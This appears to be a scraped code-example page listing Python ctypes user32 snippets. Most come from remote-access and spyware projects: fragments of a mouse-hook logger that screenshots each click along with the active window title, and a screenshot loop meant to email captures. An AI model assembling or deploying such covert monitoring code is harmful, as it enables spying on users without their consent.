Python ctypes.windll.user32() Examples
Example 1
| Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 7 votes |   | 
def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    #process_id = "%d" % pid.value
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value 
| Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 6 votes |   | 
def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    #process_id = "%d" % pid.value
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value 
Example 3
| Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 6 votes |   | 
def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    #process_id = "%d" % pid.value
    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value 
Example 4
| Project: KeyPlexer Author: nairuzabulhul File: screenshots.py View Source Project | 6 votes |   | 
def capture_screenshots(file_path): 
    """This function takes snap shots of
        the host machine and send them by email.
        Every 13 captures image, an email is sent"""
    # using DPI aware to capture a full screenshot
    user32 = windll.user32
    user32.SetProcessDPIAware()
    if not os.path.exists(file_path):
        os.mkdir(file_path)
    #counter = 0 # counter to create multiple screen shots
    #while True:
    #time.sleep(2) #evey 10 minutes
    image = ImageGrab.grab() # grab the image
    save_as = os.path.join(file_path,'ScreenShot_' +time.strftime('%Y_%m_%d') +  '.jpg')
    image.save(save_as) 
| Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes |   | 
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
| Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes |   | 
def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self, *args, **kwargs)
        self.hooked  = None
        self.daemon=True
        self.lUser32=user32
        self.pointer=None
        self.stopped=False
        self.screenshots=[] 
Example 7
| Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes |   | 
def run(self):
        if self.install_hook():
            #print "mouselogger installed"
            pass
        else:
            raise RuntimeError("couldn't install mouselogger")
        msg = MSG()
        user32.GetMessageA(byref(msg),0,0,0)
        while not self.stopped:
            time.sleep(1)
        self.uninstall_hook() 
| Project: purelove Author: hucmosin File: mouselogger.py View Source Project | 5 votes |   | 
def hook_proc(self, nCode, wParam, lParam):
        ##http://www.pinvoke.net/default.aspx/Constants.WM
        if wParam == 0x201:
            buf, height, width = self.get_screenshot()
            exe, win_title="unknown", "unknown"
            try:
                exe, win_title=get_current_process()
            except Exception:
                pass
            self.screenshots.append((str(datetime.datetime.now()), height, width, exe, win_title, base64.b64encode(buf)))
        return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
#credit: Black Hat Python - https://www.nostarch.com/blackhatpython 
| Project: Modeling-Cloth Author: the3dadvantage File: ModelingCloth.py View Source Project | 5 votes |   | 
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
| Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes |   | 
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
| Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes |   | 
def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self, *args, **kwargs)
        self.hooked  = None
        self.daemon=True
        self.lUser32=user32
        self.pointer=None
        self.stopped=False
        self.screenshots=[] 
| Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes |   | 
def run(self):
        if self.install_hook():
            #print "mouselogger installed"
            pass
        else:
            raise RuntimeError("couldn't install mouselogger")
        msg = MSG()
        user32.GetMessageA(byref(msg),0,0,0)
        while not self.stopped:
            time.sleep(1)
        self.uninstall_hook() 
| Project: OSPTF Author: xSploited File: mouselogger.py View Source Project | 5 votes |   | 
def hook_proc(self, nCode, wParam, lParam):
        ##http://www.pinvoke.net/default.aspx/Constants.WM
        if wParam == 0x201:
            buf, height, width = self.get_screenshot()
            exe, win_title="unknown", "unknown"
            try:
                exe, win_title=get_current_process()
            except Exception:
                pass
            self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf))
        return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
#credit: Black Hat Python - https://www.nostarch.com/blackhatpython 
| Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes |   | 
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
| Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes |   | 
def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self, *args, **kwargs)
        self.hooked  = None
        self.daemon=True
        self.lUser32=user32
        self.pointer=None
        self.stopped=False
        self.screenshots=[] 
| Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes |   | 
def run(self):
        if self.install_hook():
            #print "mouselogger installed"
            pass
        else:
            raise RuntimeError("couldn't install mouselogger")
        msg = MSG()
        user32.GetMessageA(byref(msg),0,0,0)
        while not self.stopped:
            time.sleep(1)
        self.uninstall_hook() 
| Project: pupy Author: ru-faraon File: mouselogger.py View Source Project | 5 votes |   | 
def hook_proc(self, nCode, wParam, lParam):
        ##http://www.pinvoke.net/default.aspx/Constants.WM
        if wParam == 0x201:
            buf, height, width = self.get_screenshot()
            exe, win_title="unknown", "unknown"
            try:
                exe, win_title=get_current_process()
            except Exception:
                pass
            self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf))
        return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
#credit: Black Hat Python - https://www.nostarch.com/blackhatpython 
| Project: KeyPlexer Author: nairuzabulhul File: screenshots(OLD module).py View Source Project | 5 votes |   | 
def capture_screenshots(file_path): 
    """This function takes snap shots of
        the host machine and send them by email.
        Every 13 captures image, an email is sent"""
    #threading.Timer(5,capture_screenshots, [file_path]).start()
    # using DPI aware to capture a full screenshot
    user32 = windll.user32
    user32.SetProcessDPIAware()
    if not os.path.exists(file_path):
        os.mkdir(file_path)
    counter = 0 # counter to create multiple screen shots
    while True:
        time.sleep(10) #evey 10 minutes
        image = ImageGrab.grab() # grab the image
        save_as = os.path.join(file_path,'ScreenShot_' +time.strftime('%Y_%m_%d') + str(counter) + '.jpg')
        image.save(save_as)
        counter += 1
        if counter == 13:
            conn = get_current_connection()
            if conn == True :
                #print "there is 3 pics in the folder"
                #send_new_email(file_path)
                #delete_images(file_path)
                counter = 0
            else:
                continue 
| Project: servoshell Author: paulrouget File: build_commands.py View Source Project | 5 votes |   | 
def notify_win(title, text):
    try:
        from servo.win32_toast import WindowsToast
        w = WindowsToast()
        w.balloon_tip(title, text)
    except:
        from ctypes import Structure, windll, POINTER, sizeof
        from ctypes.wintypes import DWORD, HANDLE, WINFUNCTYPE, BOOL, UINT
        class FLASHWINDOW(Structure):
            _fields_ = [("cbSize", UINT),
                        ("hwnd", HANDLE),
                        ("dwFlags", DWORD),
                        ("uCount", UINT),
                        ("dwTimeout", DWORD)]
        FlashWindowExProto = WINFUNCTYPE(BOOL, POINTER(FLASHWINDOW))
        FlashWindowEx = FlashWindowExProto(("FlashWindowEx", windll.user32))
        FLASHW_CAPTION = 0x01
        FLASHW_TRAY = 0x02
        FLASHW_TIMERNOFG = 0x0C
        params = FLASHWINDOW(sizeof(FLASHWINDOW),
                             windll.kernel32.GetConsoleWindow(),
                             FLASHW_CAPTION | FLASHW_TRAY | FLASHW_TIMERNOFG, 3, 0)
    FlashWindowEx(params)
https://www.programcreek.com/python/example/53930/ctypes.windll.user32
Python ctypes.windll.user32() Examples的更多相关文章
- 聊聊Python ctypes 模块(转载)
		https://zhuanlan.zhihu.com/p/20152309?columnSlug=python-dev 作者:Jerry Jho链接:https://zhuanlan.zhihu.co ... 
- python ctypes库3_如何传递并返回一个数组
		可以将数组指针传递给dll,但无法返回数组指针,python中没有对应的数组指针类型. 如果需要返回数组,需借助结构体. 参考ctypes官方文档: https://docs.python.org/3 ... 
- python ctypes 探究 ---- python 与 c 的交互
		近几天使用 python 与 c/c++ 程序交互,网上有推荐swig但效果都不理想,所以琢磨琢磨了 python 的 ctypes 模块.同时,虽然网上有这方面的内容,但是感觉还是没说清楚.这里记录 ... 
- [转]python ctypes 探究 ---- python 与 c 的交互
		近几天使用 python 与 c/c++ 程序交互,网上有推荐swig但效果都不理想,所以琢磨琢磨了 python 的 ctypes 模块.同时,虽然网上有这方面的内容,但是感觉还是没说清楚.这里记录 ... 
- python ctypes小例子
		import time import ctypes import ctypes.wintypes SEE_MASK_NOCLOSEPROCESS = 0x00000040 SEE_MASK_INVOK ... 
- [Python]ctypes+struct实现类c的结构化数据串行处理
		1. 用C/C++实现的结构化数据处理 在涉及到比较底层的通信协议开发过程中, 往往需要开发语言能够有效的表达和处理所定义的通信协议的数据结构. 在这方面是C/C++语言是具有天然优势的: 通过str ... 
- python ctypes
		official tutorial for ctypes libhttps://docs.python.org/3/library/ctypes.html 1 ctypes exports the c ... 
- Python ctypes 在 Python 2  和 Python 3 中的不同  //  使用ctypes过程中问题汇总
		In Python 2.7, strings are byte-strings by default. In Python 3.x, they are unicode by default. Try ... 
- Python ctypes的byref和pointer有啥区别
		byref(n)返回的相当于C的指针右值&n,本身没有被分配空间: >>> from ctypes import *>>> n = c_int(0)> ... 
随机推荐
- 18.2 不同用户 不同颜色光标 redis
			上次,我们完成了 change 这个event 通过 collaborationsrvice 与 server 进行 sockrt io 将 client端的监听的 change 发给 server ... 
- (转)MySQL 获得当前日期时间 函数
			select *from High_valwhere SerialDate >= curdate() and SerialDate < date_add(curdate(), interv ... 
- Android Monkey: “No activities found to run, monkey aborted”错误原因
			用monkey测试app时,输入命令adb shell monkey -p com.example.test -v -500 发现报错, 错误输入: :Monkey: seed=13 count=5 ... 
- yum源制作
			CentOS7 同步远程镜像 搭建本地yum服务器同步CentOS镜像站点的数据到本地服务器,使用nginx实现http服务向局域网内的其他机器提供yum服务,解决内网yum安装软件的问题. 一.前提 ... 
- Java中for循环中的的try-catch
			异常处理 当for循环遇上try-catch @Test public void forThrow(){ final int size = 6; for (int i=0; i<size; i+ ... 
- AT&T汇编格式
			一.汇编语言 (1) 指令 伪指令 (2)常量 表达式[常量 寄存器 标号 变量] 二. AT&T 与 Intel 格式相比应注意的地方 1.寄存器引用 mov %eax,%ebx 2.操 ... 
- Velocity Obstacle
			[Velocity Obstacle] Two circular objects A,B, at time t(0), with velocity V(A),V(B). A represent the ... 
- 基于oslo_log的日志管理
			oslo_log是openstack中的日志模块,其对python logging的封装,可以快速便捷地写出我们的日志模块.官网上有许多参考示例,但实例永远是实例,其配合oslo_config模块,快 ... 
- 无线渗透wep加密路由器
			停掉网络服务 service network-manager stop 检查现在的环境适不适合使用airmon-ng airmon-ng check 杀死可能冲突的进程 开启网卡monitor模式 a ... 
- I/O复用之epoll
			epoll 简介 epoll是为处理大批量句柄而作了改进的poll,它是在2.5.44内核中被引进的. 相关函数调用 int epoll_create(int size); 创建一个epoll的句柄. ... 
